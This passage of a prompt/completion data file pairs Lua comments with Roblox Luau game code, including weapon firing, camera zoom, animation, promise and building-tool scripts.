0\n\t\tself.gun.Barrel.End:Play()\n\t\t\n\t\tself.gun.Barrel.HingeConstraint.AngularVelocity = 0\n\t\t\n\n\t\tself.spoolTimer:Stop()\n\t\tself.rewardTimer:Stop()\n\t\tself.isFiring = false\n\t\tself.gun.Barrel.Loop:Stop()\n\t\t\n\t\t\n\t\tfor i = 20, 0, -1 do\n\t\t\tself.gun.Barrel.HingeConstraint.AngularVelocity = i\n\t\t\twait(0.043)\n\t\tend\n\tend\nend\n\nfunction weaponTemplate:OnFire()\n\tif self.isFiring then\n\t\t\n\t\t-- Is Client\n\t\tif self.isClient and self.gun.Barrel.Loop.IsPlaying then\n\t\t\tlocal newProjectile = self.projectileModel:Clone()\n\t\t\tlocal randomPoint = weaponTemplate.getUnitSpherePoint()\n\t\t\tlocal newBullet = bullet.new(newProjectile, self.ownerPlayer, 50, self.gun.firePart.Position, self.gun.firePart.CFrame.LookVector + randomPoint * self.coneSpread, 500, \"Physics\", false)\n\t\t\tnewBullet.Name = newProjectile.Name\n\t\t\treplicateProjectile_Re:FireServer(newBullet)\n\t\tend\n\t\t\n\t\t-- Is Server\n\t\tif not self.gun.Barrel.Loop.IsPlaying and not self.isClient then\n\t\t\tself.gun.Barrel.Loop:Play()\n\t\t\tself.gun.Barrel.HingeConstraint.AngularVelocity = 50\n\t\t\t\n\t\telseif not self.isClient then\n\t\t\t-- Ensure they don't run multiple timers\n\t\t\tif not self.rewardTimer:IsRunning() and self.rewardTimer.runningTicks == 0 then\n\t\t\t\tself.rewardTimer:Start()\n\t\t\tend\n\t\tend\n\tend\nend"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Resources\"));\nend)();\nlocal v1 = {};\nlocal u2 = {};\nfunction v1.Owns(p1)\n\tif u2[p1] then\n\t\treturn u2[p1];\n\tend;\n\tlocal v2 = u1.StatService.Get(true);\n\tif not v2 then\n\t\treturn;\n\tend;\n\tlocal v3 = u1.Functions.SearchArray(v2.Upgrades, p1);\n\tif v3 then\n\t\tu2[p1] = v3;\n\tend;\n\treturn v3;\nend;\nreturn v1;\n"} +{"prompt": "-- Activate when we die.", "completion": "\ngetHumanoid().Died:Connect(function()\n\tif ( script.ActivateOnDeath.Value ) then\n\t\tscript.Activate.Value = true;\n\tend\nend);\n"} +{"prompt": "--- RUNTIME ---", "completion": "\n\nprint(player.Name,script.Name,\"loaded.\")\n\n\n"} +{"prompt": "-- Zoom\n-- Controls the distance between the focus and the camera.", "completion": "\n\nlocal ZOOM_STIFFNESS = 4.5\nlocal ZOOM_DEFAULT = 12.5\nlocal ZOOM_ACCELERATION = 0.0375\n\nlocal MIN_FOCUS_DIST = 0.5\nlocal DIST_OPAQUE = 1\n\nlocal Popper = require(script:WaitForChild(\"Popper\"))\n\nlocal clamp = math.clamp\nlocal exp = math.exp\nlocal min = math.min\nlocal max = math.max\nlocal pi = math.pi\n\nlocal cameraMinZoomDistance, cameraMaxZoomDistance do\n\tlocal Player = game:GetService(\"Players\").LocalPlayer\n\n\tlocal function updateBounds()\n\t\tcameraMinZoomDistance = Player.CameraMinZoomDistance\n\t\tcameraMaxZoomDistance = Player.CameraMaxZoomDistance\n\tend\n\n\tupdateBounds()\n\n\tPlayer:GetPropertyChangedSignal(\"CameraMinZoomDistance\"):Connect(updateBounds)\n\tPlayer:GetPropertyChangedSignal(\"CameraMaxZoomDistance\"):Connect(updateBounds)\nend\n\nlocal ConstrainedSpring = {} do\n\tConstrainedSpring.__index = ConstrainedSpring\n\n\tfunction ConstrainedSpring.new(freq, x, minValue, maxValue)\n\t\tx = clamp(x, minValue, maxValue)\n\t\treturn setmetatable({\n\t\t\tfreq = freq, -- Undamped frequency (Hz)\n\t\t\tx = x, -- Current position\n\t\t\tv = 0, -- Current velocity\n\t\t\tminValue = minValue, -- Minimum bound\n\t\t\tmaxValue = maxValue, -- Maximum bound\n\t\t\tgoal = x, -- Goal position\n\t\t}, ConstrainedSpring)\n\tend\n\n\tfunction ConstrainedSpring:Step(dt)\n\t\tlocal freq = self.freq*2*pi -- Convert from Hz to rad/s\n\t\tlocal x = self.x\n\t\tlocal v = self.v\n\t\tlocal minValue = self.minValue\n\t\tlocal maxValue = self.maxValue\n\t\tlocal goal = self.goal\n\n\t\t-- Solve the spring ODE for position and velocity after time t, assuming critical damping:\n\t\t-- 2*f*x'[t] + x''[t] = f^2*(g - x[t])\n\t\t-- Knowns are x[0] and x'[0].\n\t\t-- Solve for x[t] and x'[t].\n\n\t\tlocal offset = goal - x\n\t\tlocal step = freq*dt\n\t\tlocal decay = exp(-step)\n\n\t\tlocal x1 = goal + (v*dt - offset*(step + 1))*decay\n\t\tlocal v1 = ((offset*freq - v)*step + v)*decay\n\n\t\t-- Constrain\n\t\tif x1 < minValue then\n\t\t\tx1 = minValue\n\t\t\tv1 = 0\n\t\telseif x1 > maxValue then\n\t\t\tx1 = maxValue\n\t\t\tv1 = 0\n\t\tend\n\n\t\tself.x = x1\n\t\tself.v = v1\n\n\t\treturn x1\n\tend\nend\n\nlocal zoomSpring = ConstrainedSpring.new(ZOOM_STIFFNESS, ZOOM_DEFAULT, MIN_FOCUS_DIST, cameraMaxZoomDistance)\n\nlocal function stepTargetZoom(z, dz, zoomMin, zoomMax)\n\tz = clamp(z + dz*(1 + z*ZOOM_ACCELERATION), zoomMin, zoomMax)\n\tif z < DIST_OPAQUE then\n\t\tz = dz <= 0 and zoomMin or DIST_OPAQUE\n\tend\n\treturn z\nend\n\nlocal zoomDelta = 0\n\nlocal Zoom = {} do\n\tfunction Zoom.Update(renderDt, focus, extrapolation)\n\t\tlocal poppedZoom = math.huge\n\n\t\tif zoomSpring.goal > DIST_OPAQUE then\n\t\t\t-- Make a pessimistic estimate of zoom distance for this step without accounting for poppercam\n\t\t\tlocal maxPossibleZoom = max(\n\t\t\t\tzoomSpring.x,\n\t\t\t\tstepTargetZoom(zoomSpring.goal, zoomDelta, cameraMinZoomDistance, cameraMaxZoomDistance)\n\t\t\t)\n\n\t\t\t-- Run the Popper algorithm on the feasible zoom range, [MIN_FOCUS_DIST, maxPossibleZoom]\n\t\t\tpoppedZoom = Popper(\n\t\t\t\tfocus*CFrame.new(0, 0, MIN_FOCUS_DIST),\n\t\t\t\tmaxPossibleZoom - MIN_FOCUS_DIST,\n\t\t\t\textrapolation\n\t\t\t) + MIN_FOCUS_DIST\n\t\tend\n\n\t\tzoomSpring.minValue = MIN_FOCUS_DIST\n\t\tzoomSpring.maxValue = min(cameraMaxZoomDistance, poppedZoom)\n\n\t\treturn zoomSpring:Step(renderDt)\n\tend\n\t\n\tfunction Zoom.GetZoomRadius()\n\t\treturn zoomSpring.x\n\tend\n\n\tfunction Zoom.SetZoomParameters(targetZoom, newZoomDelta)\n\t\tzoomSpring.goal = targetZoom\n\t\tzoomDelta = newZoomDelta\n\tend\nend\n\nreturn Zoom\n"} +{"prompt": "--[[\n\tCancels the promise, disallowing it from rejecting or resolving, and calls\n\tthe cancellation hook if provided.\n]]", "completion": "\nfunction Promise.prototype:cancel()\n\tif self._status ~= Promise.Status.Started then\n\t\treturn\n\tend\n\n\tself._status = Promise.Status.Cancelled\n\n\tif self._cancellationHook then\n\t\tself._cancellationHook()\n\tend\n\n\tif self._parent then\n\t\tself._parent:_consumerCancelled(self)\n\tend\n\n\tfor child in pairs(self._consumers) do\n\t\tchild:cancel()\n\tend\n\n\tself:_finalize()\nend\n"} +{"prompt": "-- << RETRIEVE FRAMEWORK >>", "completion": "\nlocal main = _G.HDAdminMain\nlocal settings = main.settings\n\n\n"} +{"prompt": "--- Initialize required modules", "completion": "\nlocal CollectionService: CollectionService = game:GetService(\"CollectionService\")\nlocal HitboxData = require(script.HitboxCaster)\nlocal Signal = require(script.GoodSignal)\n\nlocal RaycastHitbox = {}\nRaycastHitbox.__index = RaycastHitbox\nRaycastHitbox.__type = \"RaycastHitboxModule\"\n"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------", "completion": "\n\n\nfunction onRunning(speed)\n\tif speed>0 then\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\t\tpose = \"Running\"\n\telse\n\t\tplayAnimation(\"idle\", 0.1, Humanoid)\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\nend\n\nfunction onJumping()\n\tplayAnimation(\"jump\", 0.1, Humanoid)\n\tjumpAnimTime = jumpAnimDuration\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing()\n\tplayAnimation(\"climb\", 0.1, Humanoid)\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tif (jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\tend\n\tpose = \"FreeFall\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tpose = \"Seated\"\nend\n\nfunction onPlatformStanding()\n\tpose = \"PlatformStanding\"\nend\n\nfunction onSwimming(speed)\n\tif speed>0 then\n\t\tpose = \"Running\"\n\telse\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction getTool()\t\n\tfor _, kid in ipairs(Figure:GetChildren()) do\n\t\tif kid.className == \"Tool\" then return kid end\n\tend\n\treturn nil\nend\n\nfunction getToolAnim(tool)\n\tfor _, c in ipairs(tool:GetChildren()) do\n\t\tif c.Name == \"toolanim\" and c.className == \"StringValue\" then\n\t\t\treturn c\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction animateTool()\n\t\n\tif (toolAnim == \"None\") then\n\t\tplayToolAnimation(\"toolnone\", toolTransitionTime, Humanoid)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tplayToolAnimation(\"toolslash\", 0, Humanoid)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tplayToolAnimation(\"toollunge\", 0, Humanoid)\n\t\treturn\n\tend\nend\n\nfunction moveSit()\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tRightShoulder:SetDesiredAngle(3.14 /2)\n\tLeftShoulder:SetDesiredAngle(-3.14 /2)\n\tRightHip:SetDesiredAngle(3.14 /2)\n\tLeftHip:SetDesiredAngle(-3.14 /2)\nend\n\nlocal lastTick = 0\n\nfunction move(time)\n\tlocal amplitude = 1\n\tlocal frequency = 1\n \tlocal deltaTime = time - lastTick\n \tlastTick = time\n\n\tlocal climbFudge = 0\n\tlocal setAngles = false\n\n \tif (jumpAnimTime > 0) then\n \t\tjumpAnimTime = jumpAnimTime - deltaTime\n \tend\n\n\tif (pose == \"FreeFall\" and jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\telseif (pose == \"Seated\") then\n\t\tstopAllAnimations()\n\t\tmoveSit()\n\t\treturn\n\telseif (pose == \"Running\") then\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\telseif (pose == \"Dead\" or pose == \"GettingUp\" or pose == \"FallingDown\" or pose == \"Seated\" or pose == \"PlatformStanding\") then"} +{"prompt": "--[[\ngame:service(\"RunService\").RenderStepped:connect(function()\n\tmidcf = CFrame.new() \n\tif down == true then\t\n\t\taim = Tool.Aim.Value \n\tlv = (Tool.Handle.CFrame * CFrame.Angles(math.rad(90),math.rad(0),math.rad(0))).lookVector \n\tlookat = mouser.Hit.p\n\tstart = Tool.Handle.Position + Vector3.new(0,0.2,0) \n\tp1.CFrame = CFrame.new(start + lv, lookat) \n\tmidcf = p1.CFrame\n\tp1.CFrame = midcf * CFrame.Angles(math.rad(aim),math.rad(0),math.rad(0))\n\tp2.CFrame = midcf * CFrame.Angles(math.rad(0),math.rad(aim),math.rad(0))\n\tp3.CFrame = midcf * CFrame.Angles(math.rad(0),math.rad(-aim),math.rad(0))\n\tp4.CFrame = midcf * CFrame.Angles(math.rad(-aim),math.rad(0),math.rad(0))\n\tend\nend)]]", "completion": "\n\n\nTool.Equipped:connect(onEquippedLocal)\n"} +{"prompt": "--// Damage Settings\t", "completion": "\n\tBaseDamage = 51; -- Torso Damage\n\tLimbDamage = 43; -- Arms and Legs\n\tArmorDamage = 43; -- How much damage is dealt against armor (Name the armor \"Armor\")\n\tHeadDamage = 79; -- If you set this to 100, there's a chance the player won't die because of the heal script\t\n\t"} +{"prompt": "-- Container for temporary connections (disconnected automatically)", "completion": "\nlocal Connections = {};\n\nfunction CollisionTool.Equip()\n\t-- Enables the tool's equipped functionality\n\n\t-- Start up our interface\n\tShowUI();\n\tBindShortcutKeys();\n\nend;\n\nfunction CollisionTool.Unequip()\n\t-- Disables the tool's equipped functionality\n\n\t-- Clear unnecessary resources\n\tHideUI();\n\tClearConnections();\n\nend;\n\nfunction ClearConnections()\n\t-- Clears out temporary connections\n\n\tfor ConnectionKey, Connection in pairs(Connections) do\n\t\tConnection:Disconnect();\n\t\tConnections[ConnectionKey] = nil;\n\tend;\n\nend;\n\nfunction ShowUI()\n\t-- Creates and reveals the UI\n\n\t-- Reveal UI if already created\n\tif UI then\n\n\t\t-- Reveal the UI\n\t\tUI.Visible = true;\n\n\t\t-- Update the UI every 0.1 seconds\n\t\tUIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);\n\n\t\t-- Skip UI creation\n\t\treturn;\n\n\tend;\n\n\t-- Create the UI\n\tUI = Core.Tool.Interfaces.BTCollisionToolGUI:Clone();\n\tUI.Parent = Core.UI;\n\tUI.Visible = true;\n\n\t-- References to UI elements\n\tlocal OnButton = UI.Status.On.Button;\n\tlocal OffButton = UI.Status.Off.Button;\n\n\t-- Enable the collision status switch\n\tOnButton.MouseButton1Click:Connect(function ()\n\t\tSetProperty('CanCollide', true);\n\tend);\n\tOffButton.MouseButton1Click:Connect(function ()\n\t\tSetProperty('CanCollide', false);\n\tend);\n\n\t-- Update the UI every 0.1 seconds\n\tUIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);\n\nend;\n\nfunction UpdateUI()\n\t-- Updates information on the UI\n\n\t-- Make sure the UI's on\n\tif not UI then\n\t\treturn;\n\tend;\n\n\t-- Check the common collision status of selection\n\tlocal Collision = Support.IdentifyCommonProperty(Selection.Parts, 'CanCollide');\n\n\t-- Update the collision option switch\n\tif Collision == true then\n\t\tCore.ToggleSwitch('On', UI.Status);\n\n\t-- If the selection has collision disabled\n\telseif Collision == false then\n\t\tCore.ToggleSwitch('Off', UI.Status);\n\n\t-- If the collision status varies, don't select a current switch\n\telseif Collision == nil then\n\t\tCore.ToggleSwitch(nil, UI.Status);\n\tend;\n\nend;\n\nfunction HideUI()\n\t-- Hides the tool UI\n\n\t-- Make sure there's a UI\n\tif not UI then\n\t\treturn;\n\tend;\n\n\t-- Hide the UI\n\tUI.Visible = false;\n\n\t-- Stop updating the UI\n\tUIUpdater:Stop();\n\nend;\n\nfunction SetProperty(Property, Value)\n\n\t-- Make sure the given value is valid\n\tif Value == nil then\n\t\treturn;\n\tend;\n\n\t-- Start a history record\n\tTrackChange();\n\n\t-- Go through each part\n\tfor _, Part in pairs(Selection.Parts) do\n\n\t\t-- Store the state of the part before modification\n\t\ttable.insert(HistoryRecord.Before, { Part = Part, [Property] = Part[Property] });\n\n\t\t-- Create the change request for this part\n\t\ttable.insert(HistoryRecord.After, { Part = Part, [Property] = Value });\n\n\tend;\n\n\t-- Register the changes\n\tRegisterChange();\n\nend;\n\nfunction BindShortcutKeys()\n\t-- Enables useful shortcut keys for this tool\n\n\t-- Track user input while this tool is equipped\n\ttable.insert(Connections, UserInputService.InputBegan:Connect(function (InputInfo, GameProcessedEvent)\n\n\t\t-- Make sure this is an intentional event\n\t\tif GameProcessedEvent then\n\t\t\treturn;\n\t\tend;\n\n\t\t-- Make sure this input is a key press\n\t\tif InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then\n\t\t\treturn;\n\t\tend;\n\n\t\t-- Make sure it wasn't pressed while typing\n\t\tif UserInputService:GetFocusedTextBox() then\n\t\t\treturn;\n\t\tend;\n\n\t\t-- Check if the enter key was pressed\n\t\tif InputInfo.KeyCode == Enum.KeyCode.Return or InputInfo.KeyCode == Enum.KeyCode.KeypadEnter then\n\n\t\t\t-- Toggle the selection's collision status\n\t\t\tToggleCollision();\n\n\t\tend;\n\n\tend));\n\nend;\n\nfunction ToggleCollision()\n\t-- Toggles the collision status of the selection\n\n\t-- Change the collision status to the opposite of the common collision status\n\tSetProperty('CanCollide', not Support.IdentifyCommonProperty(Selection.Parts, 'CanCollide'));\n\nend;\n\nfunction TrackChange()\n\n\t-- Start the record\n\tHistoryRecord = {\n\t\tBefore = {};\n\t\tAfter = {};\n\t\tSelection = Selection.Items;\n\n\t\tUnapply = function (Record)\n\t\t\t-- Reverts this change\n\n\t\t\t-- Select the changed parts\n\t\t\tSelection.Replace(Record.Selection)\n\n\t\t\t-- Send the change request\n\t\t\tCore.SyncAPI:Invoke('SyncCollision', Record.Before);\n\n\t\tend;\n\n\t\tApply = function (Record)\n\t\t\t-- Applies this change\n\n\t\t\t-- Select the changed parts\n\t\t\tSelection.Replace(Record.Selection)\n\n\t\t\t-- Send the change request\n\t\t\tCore.SyncAPI:Invoke('SyncCollision', Record.After);\n\n\t\tend;\n\n\t};\n\nend;\n\nfunction RegisterChange()\n\t-- Finishes creating the history record and registers it\n\n\t-- Make sure there's an in-progress history record\n\tif not HistoryRecord then\n\t\treturn;\n\tend;\n\n\t-- Send the change to the server\n\tCore.SyncAPI:Invoke('SyncCollision', HistoryRecord.After);\n\n\t-- Register the record and clear the staging\n\tCore.History.Add(HistoryRecord);\n\tHistoryRecord = nil;\n\nend;\n"} +{"prompt": "-- When in a server, this scripts runs in ROBLOX's time (pacific). If you are in Europe/Asia/Africa, your time may be dramatically differrent.", "completion": "\n\nwhile true do\n\tgame.Lighting:SetMinutedAfterMidnight(tick()/60)\n\twait()\nend\n\n"} +{"prompt": "-- Now with exciting TeamColors HACK!", "completion": "\n\nfunction waitForChild(parent, childName)\n\twhile true do\n\t\tlocal child = parent:findFirstChild(childName)\n\t\tif child then\n\t\t\treturn child\n\t\tend\n\t\tparent.ChildAdded:wait()\n\tend\nend\n\n"} +{"prompt": "--[[\n\tFired when state is left\n]]", "completion": "\nfunction Transitions.onLeaveGame(stateMachine, event, from, to, playerComponent)\n\tPlayerGame.leave(stateMachine, playerComponent, to)\nend\n"} +{"prompt": "-- module", "completion": "\n\nlocal EFFECTS\t= {}\n\nfunction EFFECTS.Effect(self, effect, ...)\n\tif not effects[effect] then\n\t\tif script:FindFirstChild(effect) then\n\t\t\teffects[effect]\t= require(script[effect])\n\t\tend\n\tend\n\t\n\tif effects[effect] then\n\t\teffects[effect](...)\n\tend\nend\n\nreturn EFFECTS\n"} +{"prompt": "-- ALEX WAS HERE LOL", "completion": "\n\nlocal v1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nwhile not v1.Loaded do\n\tgame:GetService(\"RunService\").Heartbeat:Wait();\nend;\nreturn function(p2, p3, ...)\n\tlocal xp = ... \n\tlocal f = v1.Shared.MasteryXPToLevel(xp)\n\t\n\tif f < 100 then\n\n\telse\n\t\tp2.Progress.Bar.Size = UDim2.new(1, 0, 1, 0);\n\t\tp2.Progress.Level.Text = ''\n\t\tp2.Progress.Level2.Text = ''\n\t\treturn;\n\tend;\n\tlocal v10 = math.clamp(xp / v1.Shared.MasteryLevelToXP(f +1), 0, 1);\n\tv1.Functions.FastTween(p2.Progress.Bar, {\n\t\tSize = UDim2.new(v10, 0, 1, 0)\n\t}, { 0.2, \"Quad\", \"Out\" });\n\tp2.Progress.Level.Text = f\n\tp2.Progress.Level2.Text = f + 1\nend;\n"} +{"prompt": "--Made by Luckymaxer", "completion": "\n\nTool = script.Parent\nHandle = Tool:WaitForChild(\"Handle\")\n\nPlayers = game:GetService(\"Players\")\nRunService = game:GetService(\"RunService\")\n\nCamera = game:GetService(\"Workspace\").CurrentCamera\n\nAnimations = {}\nLocalObjects = {}\n\nServerControl = Tool:WaitForChild(\"ServerControl\")\nClientControl = Tool:WaitForChild(\"ClientControl\")\n\nToolEquipped = false\n\nfunction SetAnimation(mode, value)\n\tif mode == \"PlayAnimation\" and value and ToolEquipped and Humanoid then\n\t\tfor i, v in pairs(Animations) do\n\t\t\tif v.Animation == value.Animation then\n\t\t\t\tv.AnimationTrack:Stop()\n\t\t\t\ttable.remove(Animations, i)\n\t\t\tend\n\t\tend\n\t\tlocal AnimationTrack = Humanoid:LoadAnimation(value.Animation)\n\t\ttable.insert(Animations, {Animation = value.Animation, AnimationTrack = AnimationTrack})\n\t\tAnimationTrack:Play(value.FadeTime, value.Weight, value.Speed)\n\telseif mode == \"StopAnimation\" and value then\n\t\tfor i, v in pairs(Animations) do\n\t\t\tif v.Animation == value.Animation then\n\t\t\t\tv.AnimationTrack:Stop()\n\t\t\t\ttable.remove(Animations, i)\n\t\t\tend\n\t\tend\n\tend\nend\n\nfunction DisableJump(Boolean)\n\tif PreventJump then\n\t\tPreventJump:disconnect()\n\tend\n\tif Boolean then\n\t\tPreventJump = Humanoid.Changed:connect(function(Property)\n\t\t\tif Property == \"Jump\" then\n\t\t\t\tHumanoid.Jump = false\n\t\t\tend\n\t\tend)\n\tend\nend\n\nfunction CheckIfAlive()\n\treturn (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Player and Player.Parent) and true) or false)\nend\n\nfunction Equipped(Mouse)\n\tCharacter = Tool.Parent\n\tPlayer = Players:GetPlayerFromCharacter(Character)\n\tHumanoid = Character:FindFirstChild(\"Humanoid\")\n\tToolEquipped = true\n\tif not CheckIfAlive() then\n\t\treturn\n\tend\n\tPlayerMouse = Player:GetMouse()\n\tMouse.Button1Down:connect(function()\n\t\tInvokeServer(\"MouseClick\", {Down = true})\n\tend)\n\tMouse.Button1Up:connect(function()\n\t\tInvokeServer(\"MouseClick\", {Down = false})\n\tend)\n\tMouse.KeyDown:connect(function(Key)\n\t\tInvokeServer(\"KeyPress\", {Key = Key, Down = true})\n\tend)\n\tMouse.KeyUp:connect(function(Key)\n\t\tInvokeServer(\"KeyPress\", {Key = Key, Down = false})\n\tend)\n\tMouse.Move:connect(function()\n\t\tInvokeServer(\"MouseMove\", {Position = Mouse.Hit.p, Target = Mouse.Target})\n\tend)\n\tHumanoid:ChangeState(Enum.HumanoidStateType.None)\nend\n\nfunction Unequipped()\n\tToolEquipped = false\n\tLocalObjects = {}\n\tfor i, v in pairs(Animations) do\n\t\tif v and v.AnimationTrack then\n\t\t\tv.AnimationTrack:Stop()\n\t\tend\n\tend\n\tfor i, v in pairs({PreventJump, ObjectLocalTransparencyModifier}) do\n\t\tif v then\n\t\t\tv:disconnect()\n\t\tend\n\tend\n\tHumanoid:ChangeState(Enum.HumanoidStateType.Freefall) --Prevent the ability to fly by constantly equipping and unequipping the tool.\n\tAnimations = {}\nend\n\nfunction InvokeServer(mode, value)\n\tpcall(function()\n\t\tlocal ServerReturn = ServerControl:InvokeServer(mode, value)\n\t\treturn ServerReturn\n\tend)\nend\n\nfunction OnClientInvoke(mode, value)\n\tif mode == \"PlayAnimation\" and value and ToolEquipped and Humanoid then\n\t\tSetAnimation(\"PlayAnimation\", value)\n\telseif mode == \"StopAnimation\" and value then\n\t\tSetAnimation(\"StopAnimation\", value)\n\telseif mode == \"PlaySound\" and value then\n\t\tvalue:Play()\n\telseif mode == \"StopSound\" and value then\n\t\tvalue:Stop()\n\telseif mode == \"MousePosition\" then\n\t\treturn {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target}\n\telseif mode == \"DisableJump\" then\n\t\tDisableJump(value)\n\telseif mode == \"SetLocalTransparencyModifier\" and value and ToolEquipped then\n\t\tpcall(function()\n\t\t\tlocal ObjectFound = false\n\t\t\tfor i, v in pairs(LocalObjects) do\n\t\t\t\tif v == value then\n\t\t\t\t\tObjectFound = true\n\t\t\t\tend\n\t\t\tend\n\t\t\tif not ObjectFound then\n\t\t\t\ttable.insert(LocalObjects, value)\n\t\t\t\tif ObjectLocalTransparencyModifier then\n\t\t\t\t\tObjectLocalTransparencyModifier:disconnect()\n\t\t\t\tend\n\t\t\t\tObjectLocalTransparencyModifier = RunService.RenderStepped:connect(function()\n\t\t\t\t\tfor i, v in pairs(LocalObjects) do\n\t\t\t\t\t\tif v.Object and v.Object.Parent then\n\t\t\t\t\t\t\tlocal CurrentTransparency = v.Object.LocalTransparencyModifier\n\t\t\t\t\t\t\tif ((not v.AutoUpdate and (CurrentTransparency == 1 or CurrentTransparency == 0)) or v.AutoUpdate) then\n\t\t\t\t\t\t\t\tv.Object.LocalTransparencyModifier = v.Transparency\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\ttable.remove(LocalObjects, i)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\tend\n\t\tend)\n\tend\nend\n\nClientControl.OnClientInvoke = OnClientInvoke\nTool.Equipped:connect(Equipped)\nTool.Unequipped:connect(Unequipped)\n"} +{"prompt": "--// Input Connections", "completion": "\nL_107_.InputBegan:connect(function(L_314_arg1, L_315_arg2)\n\tif not L_315_arg2 and L_15_ then\n\t\tif L_314_arg1.UserInputType == (Enum.UserInputType.MouseButton2 or L_314_arg1.KeyCode == Enum.KeyCode.ButtonL2) and not L_79_ and not L_78_ and not L_77_ and L_24_.CanAim and not L_74_ and L_15_ and not L_66_ and not L_67_ then\n\t\t\tif not L_64_ then\n\t\t\t\tif not L_65_ then\n\t\t\t\t\tif L_24_.TacticalModeEnabled then\n\t\t\t\t\t\tL_154_ = 0.015\n\t\t\t\t\t\tL_155_ = 7\n\t\t\t\t\t\tL_3_:WaitForChild(\"Humanoid\").WalkSpeed = 7\n\t\t\t\t\telse\n\t\t\t\t\t\tL_155_ = 10\n\t\t\t\t\t\tL_154_ = 0.008\n\t\t\t\t\t\tL_3_:WaitForChild(\"Humanoid\").WalkSpeed = 10\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude <= 2 then\n\t\t\t\t\tL_97_ = L_50_\n\t\t\t\tend\n\t\t\t\tL_133_.target = L_56_.CFrame:toObjectSpace(L_44_.CFrame).p\n\t\t\t\tL_115_:FireServer(true)\t\t\t\t\n\t\t\t\tL_64_ = true\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == Enum.KeyCode.A and L_15_ then\n\t\t\tL_134_ = CFrame.Angles(0, 0, 0.1)\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == Enum.KeyCode.D and L_15_ then\n\t\t\tL_134_ = CFrame.Angles(0, 0, -0.1)\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == Enum.KeyCode.E and L_15_ and not L_80_ and not L_81_ then\n\t\t\tL_80_ = true\n\t\t\tL_82_ = false\n\t\t\tL_81_ = true\n\t\t\tLeanRight()\n\t\tend\n\t\t\n\t\tif L_314_arg1.KeyCode == Enum.KeyCode.Q and L_15_ and not L_80_ and not L_82_ then\n\t\t\tL_80_ = true\n\t\t\tL_81_ = false\n\t\t\tL_82_ = true\n\t\t\tLeanLeft()\n\t\tend\n\t\t\n\t\tif L_314_arg1.KeyCode == L_24_.AlternateAimKey and not L_79_ and not L_78_ and not L_77_ and L_24_.CanAim and not L_74_ and L_15_ and not L_66_ and not L_67_ then\n\t\t\tif not L_64_ then\n\t\t\t\tif not L_65_ then\n\t\t\t\t\tL_3_.Humanoid.WalkSpeed = 10\n\t\t\t\t\tL_155_ = 10\n\t\t\t\t\tL_154_ = 0.008\n\t\t\t\tend\n\t\t\t\tL_97_ = L_50_\n\t\t\t\tL_133_.target = L_56_.CFrame:toObjectSpace(L_44_.CFrame).p\n\t\t\t\tL_115_:FireServer(true)\n\t\t\t\tL_64_ = true\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_314_arg1.UserInputType == (Enum.UserInputType.MouseButton1 or L_314_arg1.KeyCode == Enum.KeyCode.ButtonR2) and not L_79_ and not L_77_ and L_69_ and L_15_ and not L_66_ and not L_67_ and not L_74_ then\n\t\t\tL_68_ = true\n\t\t\tif not Shooting and L_15_ and not L_83_ then\n\t\t\t\tif L_103_ > 0 then\t\t\t\n\t\t\t\t\tShoot()\n\t\t\t\tend\n\t\t\telseif not Shooting and L_15_ and L_83_ then\n\t\t\t\tif L_105_ > 0 then\n\t\t\t\t\tShoot()\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == (L_24_.LaserKey or L_314_arg1.KeyCode == Enum.KeyCode.DPadRight) and L_15_ and L_24_.LaserAttached then\n\t\t\tlocal L_316_ = L_1_:FindFirstChild(\"LaserLight\")\n\t\t\tL_122_.KeyDown[1].Plugin()\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == (L_24_.LightKey or L_314_arg1.KeyCode == Enum.KeyCode.ButtonR3) and L_15_ and L_24_.LightAttached then\n\t\t\tlocal L_317_ = L_1_:FindFirstChild(\"FlashLight\"):FindFirstChild('Light')\n\t\t\tlocal L_318_ = false\n\t\t\tL_317_.Enabled = not L_317_.Enabled\n\t\tend;\n\t\t\n\t\tif L_15_ and L_314_arg1.KeyCode == (L_24_.FireSelectKey or L_314_arg1.KeyCode == Enum.KeyCode.DPadUp) and not L_79_ and not L_70_ and not L_78_ then\n\t\t\tL_70_ = true\n\t\t\tif L_92_ == 1 then\n\t\t\t\tif 